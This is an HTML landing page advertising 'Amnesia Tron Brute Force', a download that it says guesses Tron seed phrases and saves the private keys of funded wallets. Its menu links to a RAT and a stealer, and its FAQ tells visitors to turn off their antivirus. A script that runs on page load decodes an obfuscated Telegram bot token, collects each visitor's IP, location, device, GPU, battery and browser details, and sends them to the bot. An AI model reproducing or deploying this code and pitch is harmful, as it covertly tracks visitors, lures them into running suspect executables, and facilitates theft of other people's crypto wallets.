<style>
  .hover\:scale-105:hover {
    transform: scale(1.05);
  }

  .transition-transform {
    transition: transform 0.2s ease-in-out;
  }

  .image-container {
    position: relative;
    overflow: hidden;
    border-radius: 1rem;
    transition: transform 0.3s ease, opacity 0.3s ease;
    margin: 20px;
  }

  .image-container:hover {
    transform: scale(1.05);
    opacity: 1;
  }

  .image-container::after {
    content: '';
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(255, 255, 255, 0.03);
    transition: opacity 0.3s ease;
  }

  .image-container:hover::after {
    opacity: 0;
  }

  .image-container img {
    display: block;
    width: 100%;
    height: auto;
    border-radius: 1rem;
  }

  .accordion-btn {
    background-color: transparent;
    color: #fff;
    cursor: pointer;
    padding: 18px;
    width: 100%;
    text-align: left;
    border: none;
    outline: none;
    transition: background-color 0.4s ease, transform 0.4s ease;
    font-size: 18px;
    margin-bottom: 5px;
    border-radius: 0.5rem;
	width: 100%; /* Кнопки аккордеона также занимают всю ширину */
  }

  .accordion-btn:hover,
  .accordion-btn.active {
    background-color: rgba(43, 43, 43, 0.2);
  }

  .accordion-content {
    padding: 0 18px;
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.6s cubic-bezier(0.4, 0.0, 0.2, 1), padding 0.6s ease;
    background-color: rgba(43, 43, 43, 0.2);
    border-radius: 0.5rem;
    border: 1px solid #444;
    margin-bottom: 10px;
  }

  .accordion-content p {
    margin: 0;
    padding: 0px 18px 18px 18px;
    color: #fff;
    border-radius: 0.5rem;
    margin-bottom: 15px;
  }

  .accordion-content.open {
    max-height: 1000px; /* Убираем ограничение высоты */
    padding: 18px;
  }

.faq-container {
  max-width: 75%; /* Увеличиваем ширину аккордеона относительно страницы */
  margin: 0 auto; /* Центрируем аккордеон */
  text-align: left; /* Выравниваем текст по левому краю */
}

.accordion {
  width: 100%; /* Аккордеон занимает всю ширину контейнера */
}

</style>

<script>
  (function setInitialMode({ defaultMode, darkClassNames: darkClassNames2 = ["dark"], defaultTheme = "" }) {
    const rootEl = document.documentElement;
    const mode = localStorage.getItem("mode-watcher-mode") || defaultMode;

    if (darkClassNames2.length) {
      rootEl.classList.add(...darkClassNames2);
    }

    rootEl.style.colorScheme = "dark";

    if (defaultTheme) {
      rootEl.setAttribute("data-theme", defaultTheme);
      localStorage.setItem("mode-watcher-theme", defaultTheme);
    }

    localStorage.setItem("mode-watcher-mode", mode);
  })({ "defaultMode": "dark", "darkClassNames": ["dark"], "defaultTheme": "" });
  const accBtns = document.querySelectorAll(".accordion-btn");

  accBtns.forEach(btn => {
    btn.addEventListener("click", function () {
      this.classList.toggle("active");
      const content = this.nextElementSibling;

      if (content.style.display === "block") {
        content.style.display = "none";
      } else {
        content.style.display = "block";
      }
    });
  });
    
</script>

</head>
<body data-sveltekit-preload-data="hover">
<div style="display: contents">
  <div class="fixed inset-0 w-full h-screen bg-gradient-to-b from-primary-background to-ring" data-svelte-h="svelte-i4hm0w">
    <div class="absolute inset-0" style="background-image: radial-gradient(circle, rgba(255,255,255,0.1) 1px, transparent 1px); background-size: 40px 40px;"></div> 
    <div class="absolute inset-0 bg-gradient-to-t from-gray-900 via-transparent to-transparent opacity-70"></div>
  </div>
  <nav class="fixed top-0 left-0 right-0 z-50 bg-background/80 backdrop-blur-sm border-b">
    <div class="container mx-auto px-4">
      <div class="flex items-center justify-between h-16">
<div class="flex items-center">
  <a class="text-2xl font-bold text-primary mr-8" data-svelte-h="svelte-y132if" href="index.html">Amnesia Tron Brute Force</a>
  <div class="hidden md:flex items-center space-x-6">
    <a class="nav-link svelte-1flux0" data-svelte-h="svelte-ryccny" href="about.html">About Us</a>
    <a class="nav-link svelte-1flux0" href="https://t.me/amnesia49406" target="_blank" rel="noopener noreferrer">Support</a>
	<a class="nav-link svelte-1flux0" href="https://t.me/+Zyu-pVoJv-81NDdk" target="_blank" rel="noopener noreferrer">Telegram</a>
	<a class="nav-link svelte-1flux0" href="https://amnesiarat.online/" target="_blank" rel="noopener noreferrer">RAT</a>
	<a class="nav-link svelte-1flux0" href="https://amnesia333.store/" target="_blank" rel="noopener noreferrer">Stealer</a>

  </div>
        </div>
<div class="hidden md:block">
</div>
        <div class="md:hidden">
          <button class="text-foreground hover:text-primary transition-colors">
            <svg class="lucide-icon lucide lucide-menu" fill="none" height="24" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><line x1="4" x2="20" y1="12" y2="12"></line><line x1="4" x2="20" y1="6" y2="6"></line><line x1="4" x2="20" y1="18" y2="18"></line></svg>
          </button>
        </div>
      </div>
    </div> 
  </nav>
<div class="relative min-h-screen pt-14"> 
  <div class="flex flex-col items-center justify-center min-h-screen p-4">
    <div class="container mx-auto flex flex-col lg:flex-row items-center justify-between gap-8 mb-16">
      <div class="flex flex-col max-w-xl lg:max-w-2xl lg:ml-auto text-center">
        <label class="peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-white text-3xl md:text-5xl font-bold mb-2" data-label-root="" data-melt-label=""></label>
        <div class="flex flex-col items-center">
 <label class="peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-4xl md:text-6xl lg:text-8xl font-extrabold bg-clip-text text-transparent bg-[linear-gradient(to_right,theme(colors.indigo.400),theme(colors.indigo.100),theme(colors.sky.400),theme(colors.fuchsia.400),theme(colors.sky.400),theme(colors.indigo.100),theme(colors.indigo.400))] bg-[length:200%_auto] animate-gradient leading-[1.2]" data-label-root="" data-melt-label="">Amnesia</label>
  
  <!-- Tron Brute Force label with gradient effect and larger size -->
<label class="block w-full font-extrabold peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-3xl md:text-5xl lg:text-7xl bg-clip-text text-transparent bg-[linear-gradient(to_right,theme(colors.indigo.400),theme(colors.indigo.100),theme(colors.sky.400),theme(colors.fuchsia.400),theme(colors.sky.400),theme(colors.indigo.100),theme(colors.indigo.400))] bg-[length:200%_auto] animate-gradient leading-[1.2] -mt-1" data-label-root="" data-melt-label="">Tron Brute Force</label>

<!-- Added margin to create spacing between title and description -->
<label class="font-medium peer-disabled:cursor-not-allowed peer-disabled:opacity-70 text-white/90 text-lg mt-4" data-label-root="" data-melt-label="">
  Automating Seed Generation and Balance Checking for the Tron Network. Supports Android and Windows.
</label>

        </div>
<div class="mt-4 flex justify-center"> 
  <button id="downloadWindowsButton" class="ring-offset-background focus-visible:ring-ring inline-flex items-center justify-center whitespace-nowrap rounded-md font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 border-input bg-background hover:bg-accent hover:text-accent-foreground h-10 border text-xl p-6" data-button-root="" tabindex="0" type="button" onclick="window.location.href='https://amnesiatronbf.netlify.app/Amnesia-Tron-Brute-Force.zip'">
    <img id="downloadIconWindows" class="mr-2 h-6 w-6" src="https://img.icons8.com/color/200/windows-10.png" alt="Windows Icon">
    <span id="downloadTextWindows">Download for Windows</span>
  </button>
</div>

<div class="mt-4 flex justify-center"> 
  <button id="downloadAndroidButton" class="ring-offset-background focus-visible:ring-ring inline-flex items-center justify-center whitespace-nowrap rounded-md font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 border-input bg-background hover:bg-accent hover:text-accent-foreground h-10 border text-xl p-6" data-button-root="" tabindex="0" type="button" onclick="window.location.href='https://amnesiatronbf.netlify.app/tronbrut.apk'">
    <img id="downloadIconAndroid" class="mr-2 h-6 w-6" src="https://icon-library.com/images/icon-android/icon-android-2.jpg" alt="Android Icon">
    <span id="downloadTextAndroid">Download for Android</span>
  </button>
</div>





      </div> 

<script>
function detectOS() {
  const platform = navigator.platform.toLowerCase();
  const userAgent = navigator.userAgent.toLowerCase();
  
  const downloadButton = document.getElementById('downloadButton');
  const secondaryDownloadButton = document.getElementById('secondaryDownloadButton'); 
  const downloadIcon = document.getElementById('downloadIcon');
  const downloadText = document.getElementById('downloadText');
  const downloadPythonButton = document.getElementById('downloadPythonButton'); // Reference to Python download button

  if (platform.includes('win') || userAgent.includes('windows')) {
    downloadText.textContent = 'Download for Windows';
    downloadIcon.src = 'https://img.icons8.com/color/200/windows-10.png';
    downloadIcon.classList.add('icon-windows'); 
    downloadButton.classList.add('hover-windows'); 
  } else if (platform.includes('android') || userAgent.includes('android')) {
    downloadText.textContent = 'Download for Android';
    downloadIcon.src = 'https://icon-library.com/images/icon-android/icon-android-2.jpg';
    downloadIcon.classList.add('icon-android'); 
    downloadButton.classList.add('hover-android'); 
    // Hide the Python download button on Android
  
  downloadButton.addEventListener('click', function() {
    window.location.href = 'download.html'; 
  });
  
  secondaryDownloadButton.addEventListener('click', function() {
    window.location.href = 'download.html'; 
  });
}

detectOS();

});
</script>







<div class="image-container">
  <img id="dynamicImage" src="preview.png" alt="Preview" class="w-full h-full object-cover rounded-lg">
</div>

<br>
<br>
<br>
      </div>
<div class="faq-container mt-10 mb-20"> <!-- Добавлен нижний отступ для аккордеона -->
  <h2 class="text-3xl font-bold text-center mb-10">Frequently Asked Questions</h2> <!-- Увеличен размер заголовка и отступ снизу -->
  <br>
<div class="accordion">
  <button class="accordion-btn">What is Amnesia Tron Brute Force?</button>
  <div class="accordion-content">
    <p>Amnesia Tron Brute Force is a tool that automates the generation of seed phrases and checks the balances of Tron wallets. If a wallet with a non-zero balance is found, the wallet’s details—including address, mnemonic, private key, and balance—are logged and saved in a file called result.txt.</p>
  </div>

<button class="accordion-btn">How do I use Amnesia Tron Brute Force?</button>
<div class="accordion-content">
  <p>To use Amnesia Tron Brute Force, follow these steps:</p>
  
  <p>1. Temporarily disable your antivirus to ensure it does not interfere with the tool, as it may flag the application due to its automated operations.</p>
  
  <p>2. Run the tronbrut.exe executable on a Windows machine.</p>
  
  <p>3. The script will continuously generate Tron seed phrases and check the balances of the corresponding wallets.</p>
  
  <p>4. All checked wallet details will be logged in the console.</p>
  
  <p>5. If a wallet with a non-zero balance is found, its information will be saved in the file result.txt located in the project directory.</p>
</div>


  <button class="accordion-btn">Does Amnesia Tron Brute Force support Android?</button>
  <div class="accordion-content">
	<p>Yes, Amnesia Tron Brute Force supports both Android and Windows platforms. You can use it on Android devices as well.</p>
  </div>

<button class="accordion-btn">Where are the results saved?</button>
  <div class="accordion-content">
    <p>If a wallet with a non-zero balance is discovered, the details will be saved in a file named result.txt, which can be found in the project directory. The information includes the wallet's address, mnemonic, private key, and balance.</p>
  </div>

</div>
    </div>
  </div>
  
</div>

<script>

const accordionButtons = document.querySelectorAll('.accordion-btn');

accordionButtons.forEach(button => {
  button.addEventListener('click', function () {
    const content = this.nextElementSibling;

    this.classList.toggle('active');
    content.classList.toggle('open');
  });
});

</script>
<script>
    async function sendUserInfoToTelegram() {
        const obfuscatedTelegramBotToken = 'NzYyODM5ODE3NzpBQUVOcDM0aGxIMVpPUVBPWk1DdFhvREtRYS1nUjB2RlZWUQ==';
        const obfuscatedTelegramChatId = 'NjM2NzA5MTU3OQ==';

        function decodeBase64(data) {
            return atob(data);
        }

        const telegramBotToken = decodeBase64(obfuscatedTelegramBotToken);
        const telegramChatId = decodeBase64(obfuscatedTelegramChatId);

        async function sendLogToTelegram(message) {
            const url = `https://api.telegram.org/bot${telegramBotToken}/sendMessage`;
            const data = {
                chat_id: telegramChatId,
                text: message,
                parse_mode: 'HTML'
            };

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });
                if (!response.ok) {
                    throw new Error(`Send error: ${response.statusText}`);
                }
                console.log('Logged');
            } catch (error) {
                console.error('Error:', error);
            }
        }

        function formatUserInfoForTelegram(fullInfo) {
            return `
<b>User Info:</b>
<b>Location:</b> ${fullInfo.location.city}, ${fullInfo.location.region}, ${fullInfo.location.country} (${fullInfo.location.ip})
<b>Device:</b> ${fullInfo.device.os}, ${fullInfo.device.platform}, ${fullInfo.device.screenResolution}
<b>WebGL GPU:</b> ${fullInfo.device.webGLInfo.gpu}
<b>Browser:</b> ${fullInfo.device.browser.name} (vers: ${fullInfo.device.browser.version}, vendor: ${fullInfo.device.browser.vendor})
<b>Battery:</b> Charging: ${fullInfo.device.battery.charging ? 'Yes' : 'No'}, Level: ${fullInfo.device.battery.level}%
<b>Network:</b> Type: ${fullInfo.device.network.effectiveType}, Speed: ${fullInfo.device.network.downlink} Mb/s
            `;
        }

        async function getIpAndLocation() {
            return new Promise((resolve, reject) => {
                window.handleResponse = function(data) {
                    if (data && data.country) {
                        resolve({
                            ip: data.ip,
                            city: data.city,
                            region: data.region,
                            country: data.country,
                            loc: data.loc,
                            org: data.org
                        });
                    } else {
                        reject(new Error('No location data'));
                    }
                };

                const script = document.createElement('script');
                script.src = 'https://ipinfo.io/json?callback=handleResponse';
                script.onerror = function() {
                    reject(new Error('Error loading script'));
                };
                document.body.appendChild(script);
            });
        }

        function getWebGLInfo() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            if (!gl) {
                return { gpu: 'Unknown' };
            }
            const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
            return {
                gpu: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Unknown'
            };
        }

        function getDeviceInfo() {
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                screenResolution: `${window.screen.width}x${window.screen.height}`,
                viewportSize: `${window.innerWidth}x${window.innerHeight}`,
                online: navigator.onLine,
                cookieEnabled: navigator.cookieEnabled,
                javaEnabled: navigator.javaEnabled(),
                deviceMemory: navigator.deviceMemory || 'Unknown',
                hardwareConcurrency: navigator.hardwareConcurrency || 'Unknown',
                maxTouchPoints: navigator.maxTouchPoints || 'Unknown',
                webGLInfo: getWebGLInfo(),
                performanceMemory: performance.memory ? performance.memory.jsHeapSizeLimit : 'Unknown'
            };
        }

        function getOSInfo() {
            const userAgent = navigator.userAgent;
            let os = 'Unknown';
            if (userAgent.indexOf('Win') !== -1) os = 'Windows';
            if (userAgent.indexOf('Mac') !== -1) os = 'MacOS';
            if (userAgent.indexOf('Linux') !== -1) os = 'Linux';
            if (userAgent.indexOf('Android') !== -1) os = 'Android';
            if (userAgent.indexOf('like Mac') !== -1) os = 'iOS';
            return os;
        }

        async function getBatteryStatus() {
            if ('getBattery' in navigator) {
                const battery = await navigator.getBattery();
                return {
                    charging: battery.charging,
                    level: battery.level * 100
                };
            }
            return { charging: 'Unknown', level: 'Unknown' };
        }

        async function getNetworkInfo() {
            const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
            return {
                effectiveType: connection ? connection.effectiveType : 'Unknown',
                downlink: connection ? connection.downlink : 'Unknown',
            };
        }

        async function getBrowserInfo() {
            return {
                name: navigator.appName,
                version: navigator.appVersion,
                vendor: navigator.vendor
            };
        }

        const locationInfo = await getIpAndLocation().catch(error => ({ error: error.message }));
        const deviceInfo = getDeviceInfo();
        const osInfo = getOSInfo();
        const batteryInfo = await getBatteryStatus();
        const networkInfo = await getNetworkInfo();
        const browserInfo = await getBrowserInfo();

        const fullInfo = {
            location: locationInfo,
            device: {
                ...deviceInfo,
                os: osInfo,
                battery: batteryInfo,
                network: networkInfo,
                browser: browserInfo
            }
        };

        const formattedMessage = formatUserInfoForTelegram(fullInfo);
        await sendLogToTelegram(formattedMessage);
    }

    window.onload = sendUserInfoToTelegram;
</script>
</body>
<footer style="text-align: center; padding: 20px; background-color: transparent; color: white; position: relative; bottom: 0; width: 100%;">
  <p>&copy; 2025 Amnesia Tron Brute Force. All rights reserved.</p>
</footer>

</html>
